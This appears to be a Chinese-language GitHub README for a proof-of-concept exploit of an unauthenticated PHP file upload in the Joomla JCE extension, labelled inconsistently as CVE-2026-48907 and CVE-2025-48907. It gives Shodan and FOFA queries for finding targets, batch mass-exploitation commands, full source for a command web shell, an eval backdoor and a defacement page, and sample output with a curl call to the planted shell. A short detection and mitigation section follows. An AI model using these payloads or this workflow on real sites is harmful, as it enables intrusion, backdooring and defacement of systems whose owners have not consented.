CVE-2026-48907 - Joomla! JCE 未认证远程代码执行

Joomla! JCE 扩展版本 < 2.9.99.5 - 未认证任意 PHP 文件上传与远程代码执行

🔎 搜索引擎查询

Shodan

http.component:"Joomla"

FOFA

app="Joomla"

📋 概述

此仓库包含 CVE-2026-48907 的 概念验证 (PoC) 利用程序，该漏洞影响 Joomla! JCE (Joomla Content Editor) 扩展 2.9.99.5 之前的版本。该漏洞允许 未认证的攻击者 通过 JCE 配置文件导入功能上传任意 PHP 文件，从而导致 远程代码执行 (RCE)。

⚠️ 免责声明

此工具仅供教育和授权测试用途。

仅在你拥有或获得明确许可的系统上使用

作者不对任何滥用或非法行为负责

测试前务必获得适当授权

🔍 漏洞详情

工作原理

CSRF 令牌提取：利用程序首先从目标首页提取 CSRF 令牌
滥用配置文件导入：借助 JCE 配置文件导入功能 (index.php?option=com_jce&task=profiles.import)
PHP 文件上传：上传伪装成配置文件 XML 的恶意 PHP 文件
代码执行：上传的 PHP 文件被放置在 /tmp/ 目录中，可通过直接访问执行

🚀 功能

✅ 上传任意 PHP 文件：上传自定义 PHP 壳、后门或篡改页面（基于 PHP）
✅ 批量处理：从文件扫描并利用多个目标
✅ CSRF 令牌自动检测：自动提取 CSRF 令牌
✅ 详细模式：输出详细信息以便调试
✅ 结果导出：将成功上传的 URL 保存到文件

📦 安装

# Clone the repository
git clone https://github.com/0xgh057r3c0n/CVE-2025-48907.git
cd CVE-2025-48907

# Install required dependencies
pip3 install requests urllib3

环境要求

Python 3.6 或更高版本
requests 库
urllib3 库

🎯 使用

基本语法

python3 CVE-2025-48907.py -u <TARGET_URL> -F <PHP_FILE_TO_UPLOAD>

示例

上传 PHP Web Shell

python3 CVE-2025-48907.py -u http://target-joomla.com -F shell.php

上传 PHP 篡改页面

python3 CVE-2025-48907.py -u http://target-joomla.com -F deface.php

上传 PHP 后门

python3 CVE-2025-48907.py -u http://target-joomla.com -F backdoor.php

使用目标文件批量利用

python3 CVE-2025-48907.py -f targets.txt -F payload.php

带详细输出与结果保存

python3 CVE-2025-48907.py -u http://target-joomla.com -F shell.php -v -o results.txt

命令行参数

* 必须提供 -u 或 -f 之一

目标文件格式

创建一个每行一个 URL 的 targets.txt 文件：

http://joomla-site1.com
https://joomla-site2.com
http://192.168.1.100/joomla
# Comments are ignored
https://example-joomla.com

🔧 创建 PHP 载荷

所有载荷必须是 PHP 文件，因为利用程序上传的 PHP 代码将在服务器上执行。

PHP Web Shell

创建 shell.php：

<?php
// Simple PHP Web Shell
if(isset($_GET['cmd'])){
    echo "<pre>";
    system($_GET['cmd']);
    echo "</pre>";
} else {
    echo "Usage: ?cmd=command";
}
?>

PHP 篡改页面

创建 deface.php：

<?php
// PHP Deface Page
echo '<!DOCTYPE html>
<html>
<head>
    <title>Hacked by 0xgh057r3c0n</title>
    <style>
        body {
            background: #000;
            color: #0f0;
            font-family: "Courier New", monospace;
            text-align: center;
            padding: 50px;
        }
        h1 { font-size: 4em; text-shadow: 0 0 20px #0f0; }
        .ascii-art { white-space: pre; font-size: 12px; }
    </style>
</head>
<body>
    <h1>HACKED BY 0xgh057r3c0n</h1>
    <div class="ascii-art">
    ██╗  ██╗ █████╗  ██████╗██╗  ██╗███████╗██████╗ 
    ██║  ██║██╔══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗
    ███████║███████║██║     █████╔╝ █████╗  ██║  ██║
    ██╔══██║██╔══██║██║     ██╔═██╗ ██╔══╝  ██║  ██║
    ██║  ██║██║  ██║╚██████╗██║  ██╗███████╗██████╔╝
    ╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝╚══════╝╚═════╝ 
    </div>
    <p>Security is not a product, it\'s a process.</p>
    <p>Server: <?php echo $_SERVER["SERVER_SOFTWARE"]; ?></p>
    <p>Time: <?php echo date("Y-m-d H:i:s"); ?></p>
</body>
</html>';
?>

PHP 后门（最小化）

创建 backdoor.php：

<?php
// Minimal PHP Backdoor
if(isset($_REQUEST['c'])) { eval($_REQUEST['c']); }
?>

📊 输出示例

_____________   _______________         _______________   ________  ________            _____   ______  ________________________ 
\_   ___ \   \ /   /\_   _____/         \_____  \   _  \  \_____  \/  _____/           /  |  | /  __  \/   __   \   _  \______  \
/    \  \/\   Y   /  |    __)_   ______  /  ____/  /_\  \  /  ____/   __  \   ______  /   |  |_>      <\____    /  /_\  \  /    /
\     \____\     /   |        \ /_____/ /       \  \_/   \/       \  |__\  \ /_____/ /    ^   /   --   \  /    /\  \_/   \/    / 
 \______  / \___/   /_______  /         \_______ \_____  /\_______ \_____  /         \____   |\______  / /____/  \_____  /____/  
        \/                  \/                  \/     \/         \/     \/               |__|       \/                \/

Joomla! JCE extension < 2.9.99.5 Unauthenticated RCE
Author : 0xgh057r3c0n (PHP File Upload)

[*] Loaded 3 target(s)

[*] Target 1/3
[*] ==================================================
[+] Target: http://target-joomla.com
[+] Fetching CSRF token...
[+] CSRF Token: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
[+] Uploading PHP file: cve-2026-48907-1234.xml.php
[+] Profile imported successfully!
[+] Testing uploaded PHP file...

============================================================
[!!!!!] PHP FILE UPLOADED SUCCESSFULLY!
[!!!!!] Server IS VULNERABLE to CVE-2025-48907!
============================================================

[+] View your uploaded PHP file: http://target-joomla.com/tmp/cve-2026-48907-1234.xml.php
[+] Quick access:
    curl "http://target-joomla.com/tmp/cve-2026-48907-1234.xml.php?cmd=id"

🛡️ 检测与缓解

如何检测

检查 /tmp/ 目录中是否存在可疑的 PHP 文件
在日志中监控 JCE 配置文件导入活动
查找意外的 index.php?option=com_jce&task=profiles.import 请求
检查 /tmp/ 目录中是否存在 .xml.php 扩展名的文件
监控来自 /tmp/ 目录的异常 PHP 执行

缓解措施

更新 JCE 扩展：
- 升级到 2.9.99.5 或更高版本
- 下载地址：JCE 官方网站
临时解决方法：
- 若不需要，禁用 JCE 扩展
- 实施 Web 应用防火墙 (WAF) 规则
- 限制 /tmp/ 目录中的 PHP 执行
- 如果不需要，禁用 allow_url_fopen
入侵后处理：
- 从 /tmp/ 目录移除上传的 PHP 文件
- 审计系统是否存在后门
- 重置所有凭据（Joomla 管理员、FTP、主机）
- 审查系统日志以查找未授权访问
- 检查其他被入侵的文件

📝 许可证

本项目基于 MIT 许可证 授权 - 详情请参阅 LICENSE 文件。

🤝 贡献

欢迎贡献！请随时提交 Pull Request。

复刻此仓库
创建你的特性分支 (git checkout -b feature/AmazingFeature)
提交你的更改 (git commit -m '添加一些 AmazingFeature')
推送到分支 (git push origin feature/AmazingFeature)
提交 Pull Request

⭐ Star 历史

如果您觉得此工具有用，请考虑在 GitHub 上给予它一个 ⭐！

📞 联系与支持

作者：0xgh057r3c0n
GitHub：https://github.com/0xgh057r3c0n/CVE-2025-48907
问题：报告漏洞

🔗 参考文献

_{由 0xgh057r3c0n 用 ❤️ 构建}

CVE ID	CVE-2026-48907
产品	Joomla! JCE 扩展
受影响版本	< 2.9.99.5
漏洞类型	未认证 PHP 文件上传 → RCE
CVSS 分数	9.8 (严重)
攻击向量	网络
身份认证	无需认证
影响	完全系统沦陷

`-u, --url`	是*	单个目标 URL（例如 http://target.com）
`-f, --file`	是*	包含目标 URL 列表的文件（每行一个）
`-F, --upload-file`	是	要上传的 PHP 文件（壳、后门、篡改页面）
`-v, --verbose`	否	启用详细输出以便调试
`-o, --output`	否	将成功上传的 URL 保存到文件

CVE-2026-48907

最受欢迎